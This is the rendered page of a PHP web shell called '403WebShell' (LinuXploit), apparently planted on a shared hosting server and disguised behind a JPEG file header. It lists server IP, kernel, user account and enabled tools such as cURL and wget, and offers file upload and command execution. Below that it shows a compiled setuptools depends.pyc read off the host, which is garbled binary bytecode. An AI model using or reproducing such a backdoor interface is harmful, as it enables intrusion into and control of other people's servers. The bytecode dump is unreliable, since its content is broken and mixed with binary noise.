���� JFIF    fdasasfas213sdaf403WebShell
403Webshell
Server IP : 147.79.69.49  /  Your IP : 216.73.216.70
Web Server : LiteSpeed
System : Linux in-mum-web669.main-hosting.eu 5.14.0-503.23.2.el9_5.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Feb 12 05:52:18 EST 2025 x86_64
User : u479334040 ( 479334040)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyc
�
u�fc@s�ddlZddlZddlZddlmZddlmZddlmZm	Z	m
Z
mZddlmZddd	d
gZ
ddd��YZd�Zddd
�Zdd�Zd�Ze�dS(i����N(t
StrictVersioni(tBytecode(tfind_moduletPY_COMPILEDt	PY_FROZENt	PY_SOURCE(t
py27compattRequireRtget_module_constanttextract_constantcBsYeZdZdd	d	d�Zd�Zd�Zd	dd�Zd	d�Zd	d�Z	RS(
s7A prerequisite to building or installing a distributiontcCsn|dkr!|dk	r!t}n|dk	rQ||�}|dkrQd}qQn|jjt��|`dS(Nt__version__(tNoneRt__dict__tupdatetlocalstself(Rtnametrequested_versiontmodulethomepaget	attributetformat((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt__init__s	cCs*|jdk	r#d|j|jfS|jS(s0Return full package/distribution name, w/versions%s-%sN(RRR(R((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt	full_name#scCs=|jdkp<|jdkp<t|�dko<||jkS(s%Is 'version' sufficiently up-to-date?tunknownN(RRRtstrR(Rtversion((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt
version_ok)sRcCs�|jdkr]y6t|j|�\}}}|r@|j�n|SWq]tk
rYdSXnt|j|j||�}|dk	r�||k	r�|jdk	r�|j|�S|S(s�Get version number of installed module, 'None', or 'default'

        Search 'paths' for module.  If not found, return 'None'.  If found,
        return the extracted version attribute, or 'default' if no version
        attribute was specified, or the value cannot be determined without
        importing the module.  The version is formatted according to the
        requirement's version format (if any), unless it is 'None' or the
        supplied 'default'.
        N(RRRRtclosetImportErrorRR(Rtpathstdefaulttftptitv((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pytget_version.s

'
cCs|j|�dk	S(s/Return true if dependency is present on 'paths'N(R%R(RR((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt
is_presentIscCs,|j|�}|dkrtS|j|�S(s>Return true if dependency is present and up-to-date on 'paths'N(R%RtFalseR(RRR((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt
is_currentMsN(
t__name__t
__module__t__doc__RRRRR%R&R((((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyRs
		cCs,tjd��}|s|�Stj|�S(Ncss	dVdS(N((((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pytemptyVs(t
contextlibtcontextmanagertclosing(R!R,((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pytmaybe_closeUscCs�y)t||�\}}\}}}}	Wntk
r=dSXt|���|tkrv|jd�tj|�}
nm|tkr�t	j
||�}
nL|tkr�t|j�|d�}
n%t	j
|||	�}t||d�SWdQXt|
||�S(s�Find 'module' by searching 'paths', and extract 'symbol'

    Return 'None' if 'module' does not exist on 'paths', or it does not define
    'symbol'.  If the module defines 'symbol' as a constant, return the
    constant.  Otherwise, return 'default'.itexecN(RRRR0RtreadtmarshaltloadRRtget_frozen_objectRtcompilet
get_moduletgetattrR	(RtsymbolR RR!tpathtsuffixtmodetkindtinfotcodetimported((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyR`s)


cCs�||jkrdSt|j�j|�}d}d}d}|}xpt|�D]b}|j}	|j}
|	|kr�|j|
}qP|
|kr�|	|ks�|	|kr�|S|}qPWdS(sExtract the constant value of 'symbol' from 'code'

    If the name 'symbol' is bound to a constant value by the Python code
    object 'code', return that value.  If 'symbol' is bound to an expression,
    return 'default'.  Otherwise, return 'None'.

    Return value is based on the first assignment to 'symbol'.  'symbol' must
    be a global, or at least a non-"fast" local in the code block.  That is,
    only 'STORE_NAME' and 'STORE_GLOBAL' opcodes are checked, and 'symbol'
    must be present in 'code.co_names'.
    iZiaidN(tco_namesRtlisttindexRtopcodetargt	co_consts(R?R9R tname_idxt
STORE_NAMEtSTORE_GLOBALt
LOAD_CONSTtconstt	byte_codetopRE((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyR	}s		$cCsXtjjd�r&tjdkr&dSd}x%|D]}t�|=tj|�q3WdS(s�
    Patch the globals to remove the objects not available on some platforms.

    XXX it'd be better to test assertions about bytecode instead.
    tjavatcliNR	R(R	R(tsystplatformt
startswithtglobalst__all__tremove(tincompatibleR((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt_update_globals�s"

((RPR3R-tdistutils.versionRt
py33compatRRRRRRR
RTRR0RRR	RW(((sC/opt/alt/python27/lib/python2.7/site-packages/setuptools/depends.pyt<module>s"D	$	

Youez - 2016 - github.com/yon3zu
LinuXploit